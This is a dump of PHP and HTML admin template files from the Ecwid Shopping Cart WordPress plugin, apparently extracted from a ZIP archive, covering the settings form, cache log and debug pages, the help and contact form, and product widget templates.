type="checkbox" <?php if (get_option('ecwid_use_chameleon')): ?> checked="checked" <?php endif; ?> /> <?php _e('Chameleon skin', 'ecwid-shopping-cart'); ?> </label> <div class="note"> <?php printf( __( 'Automatic adjustment of your store design to your WordPress theme. Whatever WordPress theme you use, %s will detect predominant colors and font and use them in your product catalog.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> <div class="note grayed-links"> <?php echo sprintf(__( 'Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.', 'ecwid-shopping-cart'), ' target="_blank" href="' . esc_html__( Ecwid_Config::get_contact_us_url(), 'ecwid-shopping-cart' ) . '"' ); ?> </div> </div> <?php endif; ?> <hr /> <?php if ( count ( Ecwid_Store_Page::get_store_pages_array_for_selector() ) > 1 ): ?> <div class="pure-control-group"> <div class="label"> <label for="<?php echo Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID; ?>"> <?php _e('Main storefront page', 'ecwid-shopping-cart'); ?> </label> <select id="<?php echo Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID; ?>" name="<?php echo Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID; ?>"> <?php foreach ( Ecwid_Store_Page::get_store_pages_array_for_selector() as $id ): ?> <option value="<?php echo $id; ?>" <?php if ( $id == Ecwid_Store_Page::get_current_store_page_id() ): ?> selected="selected" <?php endif; ?> ><?php esc_html_e( get_post( $id )->post_title ); ?></option> <?php endforeach; ?> </select> <div class="note"> <?php _e( 'You have your storefront added to several pages on your site. You can choose the main storefront page here — the store navigation menus and sidebar widgets will open it.', 'ecwid-shopping-cart' ); ?> </div> </div> </div> <hr /> <?php endif; ?> <div class="pure-control-group checkbox"> <div class="label"> <label for="<?php echo Ecwid_Products::OPTION_ENABLED; ?>"> <input id="<?php echo Ecwid_Products::OPTION_ENABLED; ?>" name="<?php echo Ecwid_Products::OPTION_ENABLED; ?>" type="checkbox" <?php if ( Ecwid_Products::is_enabled() ): ?> checked="checked" <?php endif; ?> value="Y" <?php if ( !Ecwid_Products::is_feature_available() ): ?> disabled="disabled" <?php endif; ?> /> <?php _e('Integration with search on your site', 'ecwid-shopping-cart'); ?> </label> <div class="note"> <?php echo sprintf( __( '%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that\'s why the site search doesn\'t find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </div> </div> </div> <?php ecwid_sync_do_page(); ?> <hr /> <div class="pure-control-group checkbox"> <div class="label"> <input type="hidden" name="<?php echo Ecwid_Static_Page::OPTION_IS_ENABLED; ?>" value="<?php echo Ecwid_Static_Page::OPTION_VALUE_DISABLED; ?>" /> <label for="<?php echo Ecwid_Static_Page::OPTION_IS_ENABLED; ?>"> <input id="<?php echo Ecwid_Static_Page::OPTION_IS_ENABLED; ?>" name="<?php echo Ecwid_Static_Page::OPTION_IS_ENABLED; ?>" type="checkbox" <?php if ( get_option( Ecwid_Static_Page::OPTION_IS_ENABLED ) == Ecwid_Static_Page::OPTION_VALUE_ENABLED || Ecwid_Static_Page::is_enabled_static_home_page() ): ?> checked="checked" <?php endif; ?> <?php if ( !Ecwid_Static_Page::is_feature_available() ): ?> disabled="disabled" <?php endif; ?> value="Y" /> <?php _e('Cache and speed up the store home page <sup>new</sup>', 'ecwid-shopping-cart'); ?> </label> <?php if ( Ecwid_Static_Page::is_feature_available() ): ?> <div class="note"> <?php echo __( 'This caches your store home page on your site to make it load way faster for your customers.', 'ecwid-shopping-cart' ); ?> </div> <?php else: ?> <div class="note"> <?php printf( __( 'To use this functionality, please enable the "Next-gen look and feel of the product list on the storefront" option in your store dashboard ("<a%s>Settings → What\'s New</a>").', 'ecwid-shopping-cart' ), ' href="' . admin_url( 'admin.php?page=ec-store&ec-store-page=whatsnew' ) . '"' ); ?> </div> <?php endif; ?> </div> </div> </fieldset> <fieldset> <div class="pure-control-group" style="margin-top: 30px"> <button type="submit" class="<?php echo ECWID_MAIN_BUTTON_CLASS; ?>"> <?php _e('Save changes', 'ecwid-shopping-cart'); ?> </button> </div> </fieldset> </form> </div>PK������Ê—[-¾¿ç  ��  ��+��ecwid-shopping-cart/templates/cache_log.phpnu�„[µü¤��������<style> .cache_log > div { display: table-cell; } .cache_log .title { width: 200px; } .cache_log .entity-title { width: 340px; } .cache_log .time { width: 190px; } .cache_log .timestamp { width: 120px; } .cache_log .op { width: 180px; } .cache_log .size-300 { width: 300px; } .cache_log .nested-field { display: table-row; } .cache_log .nested-field .param-name, .cache_log .nested-field .param-value { display: table-cell; } .cache_log .title.collapsed:before { border: 1px solid black; content: '+'; } .cache_log .title.collapsed:after { content: '...'; } .cache_log .title.collapsed>.data { display: none; } .cache_log .title.expanded:before { border: 1px solid black; content: '-'; } .cache_log .title.expanded>.data { display: block; padding-left: 15px; } </style> <?php function render_nested( $name, $data ) { if ( is_array( $data ) || is_object( $data ) ) { echo "<div class='size-300'><label class='title collapsed' onClick='jQuery(this).toggleClass(\"expanded\").toggleClass(\"collapsed\"); event.stopPropagation(); return false;'>$name"; foreach ( $data as $key => $item ) { echo '<div class="data">'; render_nested( $key, $item ); echo '</div>'; } echo '</label></div>'; } else { echo "<div class='nested-field'><div class='param-name'>" . $name . ":</div><div class='param-value'>" . $data . '</div></div>'; } } $cache = get_option('ecwid_cache_log'); $kill = @$_GET['kill']; while ( $kill-- > 0 && count($cache) > 0) { array_pop($cache); } update_option('ecwid_cache_log', $cache ); $cache = get_option('ecwid_cache_log'); if( !$cache ){ $cache = array(); } foreach ($cache as $item) { echo '<div class="cache_log">'; $ts = strftime( '%H:%M:%S %D', $item['timestamp'] ); echo "<div class=\"timestamp\">$ts</div>"; echo "<div class=\"op\">$item[operation]</div>"; if ($item['operation'] == 'invalidate_products_cache' || $item['operation'] == 'invalidate_categories_cache') { $time = strftime('%c', $item['time']); echo <<<HTML <div class="time">$time</div> HTML; } if ($item['operation'] == 'get') { echo <<<HTML <div class="entity-title">$item[name]</div> HTML; render_nested( 'result', $item['result'] ); } if ($item['operation'] == 'set') { echo <<<HTML <div class="entity-title">$item[name]</div> HTML; render_nested('value', $item['value']); } if (in_array( $item['operation'], array( 'get_from_categories_cache', 'get_from_products_cache', 'get_from_catalog_cache' ) ) ) { $key = @$item['name']; echo <<<HTML <div class="entity-title">$key</div> HTML; render_nested('result', $item['result']); } if ($item['operation'] == 'get_from_catalog_cache') { $valid_from = @$item['valid_from']; echo <<<HTML <div class="entity-title">$valid_from</div> HTML; } if ($item['operation'] == 'reg cache check') { render_nested('stats', $item['stats']); } if ($item['operation'] == 'is_trusted') { render_nested('self', $item); } echo '</div>'; } echo '' . '<br />'; echo 'cats:' . EcwidPlatform::get( EcwidPlatform::CATEGORIES_CACHE_VALID_FROM ) . '<br />'; echo 'prods:' . EcwidPlatform::get( EcwidPlatform::PRODUCTS_CACHE_VALID_FROM ) . '<br />'; echo 'profile:' . EcwidPlatform::get( EcwidPlatform::PROFILE_CACHE_VALID_FROM ) . '<br />';PK������Ê—[®Žd¢$��$��:��ecwid-shopping-cart/templates/dashboard-blog-posts.tpl.phpnu�„[µü¤��������<div class="template-container"> <div class="ecwid-blog-post"> <div class="ecwid-blog-post-image-container"> <a class="ecwid-blog-post-link" target="_blank"><div class="ecwid-blog-post-image"></div></a> </div> <div class="ecwid-blog-post-text-container"> <a class="ecwid-blog-post-title ecwid-blog-post-link" target="_blank"></a> <p class="ecwid-blog-post-excerpt"></p> </div> </div> </div> <div class="ecwid-blog-posts"></div> <div class="ecwid-blog-footer"> <a href="<?php _e( 'https://www.ecwid.com/blog', 'ecwid-shopping-cart' ); ?>"> <?php echo sprintf( __( '%s Blog', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> <span aria-hidden="true" class="dashicons dashicons-external"></span> </a> | <a href="<?php _e( 'https://support.ecwid.com/hc/en-us', 'ecwid-shopping-cart' ); ?>"> <?php echo _e( 'Knowledge Base', 'ecwid-shopping-cart' ); ?> <span aria-hidden="true" class="dashicons dashicons-external"></span> </a> </div> PK������Ê—[_Ä9Uä ��ä ��'��ecwid-shopping-cart/templates/debug.phpnu�„[µü¤��������<div class="ecwid-debug"> <?php $all_plugins = get_plugins(); $active_plugins = get_option('active_plugins'); $theme = wp_get_theme(); $all_options = wp_load_alloptions(); ?> <a class="button button-primary" href="admin-post.php?action=ecwid_get_debug" style="margin-top:10px"><?php _e('Download log file', 'ecwid-shopping-cart'); ?></a> <h2>Active plugins</h2> <div> <?php foreach($active_plugins as $path): ?> <div class="section"> <div> <?php echo $all_plugins[$path]['Name']; ?> </div> <div> <?php echo $all_plugins[$path]['PluginURI']; ?> </div> </div> <?php endforeach; ?> </div> <h2>All plugins</h2> <div> <?php foreach($all_plugins as $key => $item): ?> <div class="section"> <div> <?php echo $item['Name']; ?> </div> <div> <?php echo $item['PluginURI']; ?> </div> </div> <?php endforeach; ?> </div> <h2>Theme</h2> <div class="section"> <div><?php echo $theme->get('Name'); ?></div> <div><?php echo $theme->get('ThemeURI'); ?></div> </div> <h2>Api V3 profile test</h2> <div> <?php if( is_wp_error($api_v3_profile_results) ) { echo 'WP_Error: ' . $api_v3_profile_results->get_error_message(); } else { echo 'Response status: ' . implode(' ', $api_v3_profile_results['response']); } ?> </div> <h2>Error log</h2> <div> <?php foreach (json_decode($all_options['ecwid_error_log'], true) as $key => $item): ?> <div class="section"><?php echo $item['message']; ?></div> <?php endforeach; ?> </div> <h2>Misc</h2> <div> <div class="section"> <div>Theme identification</div> <div><?php echo ecwid_get_theme_identification(); ?></div> </div> <div class="section"> <div>Affiliate Ref ID</div> <div><?php echo apply_filters( 'ecwid_get_new_store_ref_id', '' ); ?></div> </div> </div> <h2>Options</h2> <div> <?php foreach($all_options as $key => $option): ?> <?php if (strpos($key, 'ecwid') !== false): ?> <div class="section"> <div> <?php echo $key; ?> </div> <div> <?php echo $option; ?> </div> </div> <?php endif; ?> <?php endforeach; ?> </div> <h2>Store pages</h2> <?php foreach (Ecwid_Store_Page::get_store_pages_array() as $page_id): ?> <div> <a target="_blank" href="post.php?post=<?php echo $page_id; ?>&action=edit"><?php echo @get_post($page_id)->post_name; ?></a> <?php if ( $page_id == get_option( Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID ) ): ?> <b> - main</b> <?php endif ;?> </div> <?php endforeach; ?> <h2>PhpInfo</h2> <div> <iframe width="80%" height="500px" srcdoc="<?php ob_start(); phpinfo(); $contents = ob_get_contents(); ob_end_clean(); echo esc_attr($contents); ?>"></iframe> </div> </div> <script> jQuery('h2').click(function() { jQuery(this).toggleClass('hide'); }) </script> PK������Ê—[ó…E��E��-��ecwid-shopping-cart/templates/ecwid-admin.phpnu�„[µü¤��������<script type='text/javascript'>//<![CDATA[ jQuery(document.body).addClass('ecwid-admin-iframe ecwid-no-padding'); jQuery(document).ready(function() { jQuery('#ecwid-frame').attr('src', '<?php echo $iframe_src; ?>'); ecwidSetPopupCentering('#ecwid-frame'); jQuery.ajax({ url: ajaxurl + '?action=<?php echo Ecwid_Store_Page::WARMUP_ACTION; ?>' }); }); //]]> </script> <iframe seamless id="ecwid-frame" frameborder="0" width="100%" height="700" scrolling="no"></iframe> <?php require_once ECWID_PLUGIN_DIR . 'templates/admin-footer.php'; ?> PK������Ê—[¤ð}…ô-��ô-��&��ecwid-shopping-cart/templates/help.phpnu�„[µü¤��������<script type='text/javascript'>//<![CDATA[ jQuery(document).ready(function() { document.body.className += ' ecwid-no-padding'; }) //]]> </script> <div class="ecwid-help main-container"> <div class="block-search block-search-index"> <h2><?php _e( 'How can we help you?', 'ecwid-shopping-cart' ); ?></h2> <div class="hds-container"> <div class="hds-wrapper"> <form class="hds-form" method="get" target="_blank" data-action="<?php _e( 'https://support.ecwid.com/hc/en-us/search', 'ecwid-shopping-cart'); ?>" onsubmit="help-page searchquerysubmited"> <div class="input-wrapper input-prepend"> <input type="text" class="form-control q" value="" id="q" placeholder="<?php _e( 'E.g. How to set up shipping', 'ecwid-shopping-cart' ); ?> " autocomplete="off"/> <span class="hds-loader"></span> <button type="submit" class="hds-submit btn" id="hds-submit" onClick=""> <span class="icon-search"></span> <span class="btn-text"><?php _e( 'Search the Knowledge Base', 'ecwid-shopping-cart' ); ?> </span> </button> </div> </form> </div> </div> <div class="block-search block-search-kb-link"> <?php echo sprintf( __( 'or <a %s>Browse the Help Center', 'ecwid-shopping-cart'), 'href="https://support.ecwid.com/"' ); ?> </div> </div> <div class="block-faq"> <h2><?php _e( 'Frequently Asked Questions', 'ecwid-shopping-cart' ); ?> </h2> <div class="block-faq-wrap"> <ul class="block-faq-list"> <?php foreach ($faqs as $idx => $faq): if ($idx % 2 == 0): ?> <li class="index-article<?php if ($idx >= $col_size) echo ' index-article--hidden' ?>"> <a class="index-article-title" href="#" onclick="return false;"> <i class="icon-down"></i><?php echo $faq->title; ?> </a> <div class="index-article-body"> <?php echo $faq->body; ?> </div> </li> <?php endif; endforeach; ?> </ul> <ul class="block-faq-list"> <?php foreach ($faqs as $idx => $faq): if ($idx % 2 == 1): ?> <li class="index-article<?php if ($idx >= $col_size) echo ' index-article--hidden' ?>"> <a class="index-article-title" href="#" onclick="return false;"> <i class="icon-down"></i><?php echo $faq->title; ?> </a> <div class="index-article-body"> <?php echo $faq->body; ?> </div> </li> <?php endif; endforeach; ?> </ul> </div> <div class="block-topics-link"> <a href="#" class="horizontal-icolink"> <?php _e( 'See more', 'ecwid-shopping-cart' ); ?> <i class="icon-arr-right"></i> </a> </div> <script> (function() { Element.prototype.addClass = function(c) { var re = new RegExp("(^|\\s)" + c + "(\\s|$)", "g"); if (re.test(this.className)) { return this; } this.className = (this.className + " " + c).replace(/\s+/g, " ").replace(/(^ | $)/g, ""); return this; }; Element.prototype.removeClass = function(c) { var re = new RegExp("(^|\\s)" + c + "(\\s|$)", "g"); this.className = this.className.replace(re, "$1").replace(/\s+/g, " ").replace(/(^ | $)/g, ""); return this; }; Element.prototype.hasClass = function(c) { var re = new RegExp("(^|\\s)" + c + "(\\s|$)", "g"); if (re.test(this.className)) { return true; } return false; }; var faqList = document.querySelectorAll('.block-faq-list'); var faqListTrigger = document.querySelector('.block-topics-link'); var getFaqItem = function(el) { if (el.hasClass('block-faq-list') || el.hasClass('index-article-body')) { return null; } if (el.hasClass('index-article')) { return el; } return getFaqItem( el.parentNode ); }; var scrollToElement = function scrollToElement(el) { var duration = 250; var start = document.body.scrollTop; var end = el.offsetTop - 50; if (start === end) { return } var diff = end - start; var totalFrames = duration/10; var count = 0; function easeIn(t) { return t*t*t; } function animate() { var scrollTop = document.documentElement.scrollTop || document.body.scrollTop; count = count + 1; document.documentElement.scrollTop = document.body.scrollTop = start + diff*easeIn(count/totalFrames); if (scrollTop !== end && count < totalFrames) { requestID = requestAnimationFrame(animate); } else { cancelAnimationFrame(requestID); } } requestAnimationFrame(animate); }; var showFaqTopic = function showFaqTopic(e){ var width = window.innerWidth; var item = getFaqItem(e.target); if (!item) {return} if (item.hasClass('active')) { item.removeClass('active') } else { var active = document.querySelector('.block-faq-list .active'); if (active) {active.removeClass('active')}; item.addClass('active'); if (width < 768) { scrollToElement(item); } } }; var showAllTopics = function showAllTopics(e) { e.preventDefault(); var hiddenItems = document.querySelectorAll('.index-article--hidden'); for (var i = 0; i < hiddenItems.length; i++) { hiddenItems[i].removeClass('index-article--hidden'); } this.removeEventListener('click', showAllTopics, false); this.parentNode.removeChild(this); }; if (!faqList) { return } for (var i = 0; i < faqList.length; i++) { faqList[i].addEventListener('click', showFaqTopic, false); } faqListTrigger.addEventListener('click', showAllTopics, false); })(); </script> </div> <div class="block-help"> <div class="content-wrap cf"> <ul> <li> <div class="block-help-item"> <a href="<?php esc_html_e( Ecwid_Config::get_contact_us_url(), 'ecwid-shopping-cart' ); ?>" target="_blank"><?php _e( 'Contact us', 'ecwid-shopping-cart' ); ?> </a> <p><?php _e( 'Still have questions about Ecwid? Let us know!', 'ecwid-shopping-cart' ); ?> </p> </div> </li> <li> <div class="block-help-item"> <a href="<?php _e( 'https://www.ecwid.com/forums', 'ecwid-shopping-cart'); ?>" target="_blank"><?php _e( 'Forums', 'ecwid-shopping-cart' ); ?> </a> <p><?php _e( 'Join the Ecwid community. Discuss support topics and store ideas with other Ecwid users.', 'ecwid-shopping-cart' ); ?> </p> </div> </li> </ul> </div> </div> <?php if (!in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))): ?> <div class="block-contact"> <h2><?php _e( 'Send a message to our support team', 'ecwid-shopping-cart' ); ?> </h2> <div class="contact-form"> <form action="admin-post.php" enctype="multipart/form-data" class="new_email" id="new_email" method="post" novalidate="novalidate"> <input type="hidden" name="action" value="ecwid_contact_us" /> <input type="hidden" name="wp-nonce" id="wp-nonce" value="<?php echo wp_create_nonce( Ecwid_Help_Page::CONTACT_US_ACTION_NAME ); ?>" /> <input id="email_subject" maxlength="100" name="email[subject]" type="text" class="form-control" value="<?php if ( @$_GET['contact_us_subject'] ) echo esc_attr__( stripslashes( $_GET['contact_us_subject'] ) ); ?>" placeholder="<?php _e( 'Subject', 'ecwid-shopping-cart' ); ?> "> <textarea id="email_body" name="email[body]" class="form-control" placeholder="<?php _e( 'Type in your message here', 'ecwid-shopping-cart' ); ?> "><?php if ( @$_GET['contact_us_message'] ) echo htmlentities($_GET['contact_us_message']); ?></textarea> <div class="btn-container"> <button id="contact-ecwid-support" class="btn btn-medium btn-aqua" type="submit"> <span class="btn-text"><?php _e( 'Send Message', 'ecwid-shopping-cart'); ?></span> <div class="loader"> <div class="ecwid-spinner spin-right"> <svg width="60px" height="60px" viewBox="0 0 60 60" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path class="loader-outer" d="M30,60 C46.5685425,60 60,46.5685425 60,30 C60,13.4314575 46.5685425,0 30,0 C13.4314575,0 0,13.4314575 0,30 C0,46.5685425 13.4314575,60 30,60 L30,60 Z"></path> <path class="loader-background" d="M30,56 C44.3594035,56 56,44.3594035 56,30 C56,15.6405965 44.3594035,4 30,4 C15.6405965,4 4,15.6405965 4,30 C4,44.3594035 15.6405965,56 30,56 L30,56 Z" fill="#FFFFFF"></path> <path class="loader-inner" d="M12.0224719,32.0224719 C10.9078652,32.0224719 10,31.1146067 10,30 C10,18.9707865 18.9707865,10 30,10 C31.1146067,10 32.0224719,10.9078652 32.0224719,12.0224719 C32.0224719,13.1370787 31.1146067,14.0449438 30,14.0449438 C21.2,14.0449438 14.0449438,21.2 14.0449438,30 C14.0449438,31.1146067 13.1370787,32.0224719 12.0224719,32.0224719 L12.0224719,32.0224719 Z M30,50 C28.8853933,50 27.9775281,49.0921348 27.9775281,47.9775281 C27.9775281,46.8629213 28.8853933,45.9550562 30,45.9550562 C38.8,45.9550562 45.9550562,38.8 45.9550562,30 C45.9550562,28.8853933 46.8629213,27.9775281 47.9775281,27.9775281 C49.0921348,27.9775281 50,28.8853933 50,30 C50,41.0292135 41.0292135,50 30,50 L30,50 Z" ></path> </svg> </div> </div> </button> <div class="send-error"><?php _e('Send message failed', 'ecwid-shopping-cart'); ?></div> </div> </form> </div> </div> <div class="block-sent"> <h2><?php _e( 'Your email has been sent', 'ecwid-shopping-cart'); ?></h2> <p><?php _e(' Thank you very much for contacting us! We will get back to you shortly.', 'ecwid-shopping-cart'); ?></p> <p><a id="show-ecwid-contact-again" href="#"><?php _e( 'You can send a new request here.', 'ecwid-shopping-cart'); ?></a></p> </div> <?php endif; ?> </div> <script type="text/javascript"> jQuery('.hds-form').submit(function() { jQuery(this).attr('action', jQuery(this).data('action') + '#q=' + encodeURIComponent(jQuery('#q').val())); }) jQuery('#email_subject, #email_body').focus(function() { jQuery('.block-contact .send-error').hide(); }); jQuery('#email_subject, #email_body').blur(function() { if (jQuery(this).hasClass('form-error') && jQuery(this).val().trim()) { jQuery(this).removeClass('form-error'); } }); ecwid_contact_form_has_errors = function() { var has_errors = false; jQuery('#email_subject, #email_body').each(function() { if (!jQuery(this).val().trim()) { jQuery(this).addClass('form-error'); has_errors = true; } }); if (has_errors) { return true; } return false; } jQuery('#contact-ecwid-support').click(function() { if (ecwid_contact_form_has_errors()) return false; jQuery('.block-contact .btn').addClass('btn-loading'); jQuery('.block-contact .form-control').addClass('submitted'); $result = jQuery.ajax(ajaxurl + '?action=<?php echo Ecwid_Help_Page::CONTACT_US_ACTION_NAME; ?>', { 'method': 'POST', 'data': { 'subject' : jQuery('#email_subject').val(), 'body' : jQuery('#email_body').val(), 'wp-nonce' : jQuery('#wp-nonce').val(), 'accepts' : 'json', 'dataType' : 'json' }, 'success': function(data) { var result = jQuery.parseJSON(data); if (result) { jQuery('#wp-nonce').val(result.nonce); jQuery('.block-contact').hide(); jQuery('.block-sent').show(); jQuery('.block-contact .form-control').val(""); } else { jQuery('.block-contact .send-error').show(); } }, 'error': function(data) { jQuery('.block-contact .send-error').show(); }, 'complete': function() { jQuery('.block-contact .btn').removeClass('btn-loading'); jQuery('.block-contact .form-control').removeClass('submitted'); } }); return false; }); jQuery('#show-ecwid-contact-again').click(function() { jQuery('.block-sent').hide(); jQuery('.block-contact').show(); return false; }); </script> PK������Ê—[R²Õ¢¢���¢���)��ecwid-shopping-cart/templates/product.phpnu�„[µü¤��������<?php $content = <<<HTML <script>xProductBrowser('defaultProductId=$ecwid_id');</script> HTML; echo ecwid_wrap_shortcode_content($content, 'product', array()); ?>PK������Ê—[wS:Ï4��Ï4��/��ecwid-shopping-cart/templates/product-popup.phpnu�„[µü¤��������<script type="text/template" id="tmpl-product-in-list"> <tr id="product-{{ data.id }}"> <td class="product-thumb column-product-thumb has-row-actions" data-colname="Product"> <div><img data-src="{{ data.image_url }}" alt=""></div> </td> <td class="product-name column-product-name has-row-actions column-primary" data-colname="Product Name"> <div>{{ data.name }}</div> </td> <td class="sku column-sku has-row-actions" data-colname="SKU"> <div>{{ data.sku }}</div> </td> </tr> </script> <script type="text/template" id="tmpl-products-list"> <table class="wp-list-table widefat fixed striped products"> <thead> <tr> <td id="cb" class="manage-column column-cb check-column"></td> <th scope="col" id="name" class="manage-column column-name column-primary sortable"> <a href=""> <span><?php _e( 'Name', 'ecwid-shopping-cart' ); ?></span> <span class="sorting-indicator"></span> </a> </th> <th scope="col" id="sku" class="manage-column column-sku sortable"> <a href=""> <span><?php _e( 'SKU', 'ecwid-shopping-cart' ); ?></span> <span class="sorting-indicator"></span> </a> </th> </tr> </thead> <tbody> </tbody> </table> </script> <script type="text/template" id="tmpl-add-product-form"> <form action=""> <p class="products-search"> <span class="search-input"> <label class="screen-reader-text" for="product-search-input"> <?php _e( 'Search', 'ecwid-shopping-cart' ); ?> </label> <input type="search" id="product-search-input" name="s" value="" placeholder="<?php _e( 'Title or SKU', 'ecwid-shopping-cart' ); ?>"> </span> <span class="search-button"> <button type="submit" id="search-submit" class="button"> <span class="button-text"><?php _e( 'Search', 'ecwid-shopping-cart' ); ?></span> <img class="searching-icon" src="<?php echo(esc_attr(ECWID_PLUGIN_URL)); ?>/images/download.gif" /> </button> <!--input type="submit" id="search-submit" class="button" value="<?php _e( 'Search', 'ecwid-shopping-cart' ); ?>"--> </span> </p> </form> {{{ data.tableHTML }}} <div class="tablenav bottom"> <div class="tablenav-pages"> <span class="displaying-num">{{ data.total_items }}</span> <span class="pagination-links"> {{{ data.prev_pages }}} <span class="paging-input"> <label for="current-page-selector" class="screen-reader-text"><?php _e( 'Current Page', 'ecwid-shopping-cart' ); ?></label> <span class="tablenav-paging-text">{{ data.page }} of <span class="total-pages">{{ data.total_pages }}</span></span></span> {{{ data.next_pages }}} </span> </div> </div> </script> <script type="text/template" id="tmpl-pagination-button-enabled"> <a class="{{ data.name }}-page" href="" data-page="{{ data.page }}"> <span class="screen-reader-text">{{ data.label }}<?php _e( 'Next page', 'ecwid-shopping-cart' ); ?></span> <span aria-hidden="true">{{ data.symbol }}</span> </a> </script> <script type="text/template" id="tmpl-pagination-button-disabled"> <span class="tablenav-pages-navspan" aria-hidden="true">{{ data.symbol }}</span> </script> <script type="text/template" id="tmpl-no-products"> <tr class="empty"> <td colspan="3"> <div class="empty-page"> <div class="empty-page__title"><?php _e( 'Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>', 'ecwid-shopping-cart' ); ?></div> <div class="empty-page__suggestions"> <?php _e( 'Try another search.', 'ecwid-shopping-cart' ); ?> <a href="#" id="ecwid-reset-search"><?php _e( 'Browse all products.', 'ecwid-shopping-cart' ); ?></a> </div> </div> </td> </tr> </script> <script type="text/template" id="tmpl-checkbox-option"> <label class="checkbox-option"> <span> <input type="checkbox" checked="checked" name="{{ data.name }}" {{{ data.additionalAttributes }}}> </span> <span class="label"> {{ data.label }} </span> </label> </script> <script type="text/template" id="tmpl-selected-product"> <div class="ecwid-selected-product"> <div class="ecwid-selected-product-image"> <img src="{{ data.thumb }}"> </div> <div class="ecwid-selected-product-details"> <div class="ecwid-selected-product-name">{{ data.name }}</div> <div class="ecwid-selected-product-sku">{{ data.sku }}</div> <div class="ecwid-selected-product-button"> <button class="button button-secondary" id="choose-another-product"><?php _e(' Choose another product', 'ecwid-shopping-cart' ); ?></button> </div> </div> </div> </script> <div id="ecwid-product-popup-content"> <div class="media-modal wp-core-ui"> <div class="media-modal-content" data-mode="add-product" data-active-dialog="add-product"> <a class="media-modal-close" href="#" title="Close"><span class="media-modal-icon"></span></a> <div class="media-frame wp-core-ui"> <div class="media-frame-menu"> <div class="media-menu"> <a href="#" class="media-menu-item active" data-content="add-product"><?php _e( 'Choose Product', 'ecwid-shopping-cart' ); ?></a> <a href="#" class="media-menu-item" data-content="selected-product"><?php _e( 'Selected Product', 'ecwid-shopping-cart' ); ?></a> <a href="#" class="media-menu-item" data-content="customize"><?php _e( 'Customize widget', 'ecwid-shopping-cart' ); ?></a> </div> </div> <div class="media-frame-title selected-product"> <h1><?php _e( 'Selected Product', 'ecwid-shopping-cart' ); ?><span class="dashicons dashicons-arrow-down"></span></h1> </div> <div class="media-frame-title add-product active"> <h1><?php _e( 'Choose Product', 'ecwid-shopping-cart' ); ?><span class="dashicons dashicons-arrow-down"></span></h1> </div> <div class="media-frame-title customize"> <h1><?php _e( 'Customize widget', 'ecwid-shopping-cart' ); ?><span class="dashicons dashicons-arrow-down"></span></h1> </div> <div class="media-frame-content ecwid-selected-product selected-product"> </div> <div class="media-frame-content ecwid-add-product add-product"> </div> <div class="media-frame-content ecwid-add-product customize"> <div class="store-settings-wrapper ecwid-search ecwid-minicart ecwid-categories" data-ecwid-widget-hover=""> <div class="widget-settings display-options"> <h3><?php _e( 'Choose product properties to display in widget', 'ecwid-shopping-cart' ); ?></h3> <div class="widget-settings__left"></div> <div class="widget-settings__right"></div> <script type="text/javascript"> jQuery(document).ready(function() { ecwidRenderCheckboxOption.section = 'display-options'; ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'picture', 'label': '<?php _e( 'Picture', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'options', 'label': '<?php _e( 'Options', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'title', 'label': '<?php _e( 'Title', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'quantity', 'label': '<?php _e( 'Quantity', 'ecwid-shopping-cart' ); ?>', 'displayOptionName': 'qty' }); ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'price', 'label': '<?php _e( 'Price', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'display-options', 'name': 'addtobag', 'label': '<?php _e( '«Buy now» button', 'ecwid-shopping-cart' ); ?>' }); }); </script> </div> <div class="widget-settings shortcode-attributes"> <h3><?php _e( 'Appearance', 'ecwid-shopping-cart' ); ?></h3> <div class="widget-settings__left"></div> <div class="widget-settings__right"></div> <script type="text/javascript"> jQuery(document).ready(function() { ecwidRenderCheckboxOption.nextTarget = 'left'; ecwidRenderCheckboxOption.section = 'shortcode-attributes'; ecwidRenderCheckboxOption({ 'section': 'shortcode-attributes', 'name': 'show_border', 'label': '<?php _e( 'Add border', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'shortcode-attributes', 'name': 'show_price_on_button', 'label': '<?php _e( 'Show price inside the "Buy now" button', 'ecwid-shopping-cart' ); ?>' }); ecwidRenderCheckboxOption({ 'section': 'shortcode-attributes', 'name': 'center_align', 'label': '<?php _e( 'Center align on a page', 'ecwid-shopping-cart' ); ?>' }); }); </script> </div> </div> </div> <div class="media-frame-toolbar"> <div class="media-toolbar"> <div class="media-toolbar-primary add-product"> <a target="_blank" class="toolbar-link customize-appearance" data-content="customize" href="#"><?php _e( 'customize appearance', 'ecwid-shopping-cart' ); ?></a> <a target="_blank" class="toolbar-link add-product" data-content="add-product" style="display: none" href="#"><?php _e( 'select product', 'ecwid-shopping-cart' ); ?></a> <a href="#" class="button media-button button-primary button-large media-button-select"><?php _e( 'Insert', 'ecwid-shopping-cart' ); ?></a> </div> <div class="media-toolbar-primary selected-product"> <a target="_blank" class="toolbar-link customize-appearance" data-content="customize" href="#"><?php _e( 'customize appearance', 'ecwid-shopping-cart' ); ?></a> <a target="_blank" class="toolbar-link add-product" data-content="selected-product" style="display: none" href="#"><?php _e( 'selected product', 'ecwid-shopping-cart' ); ?></a> <a href="#" class="button media-button button-primary button-large media-button-update"><?php _e( 'Update', 'ecwid-shopping-cart' ); ?></a> </div> </div> </div> </div> </div> </div> 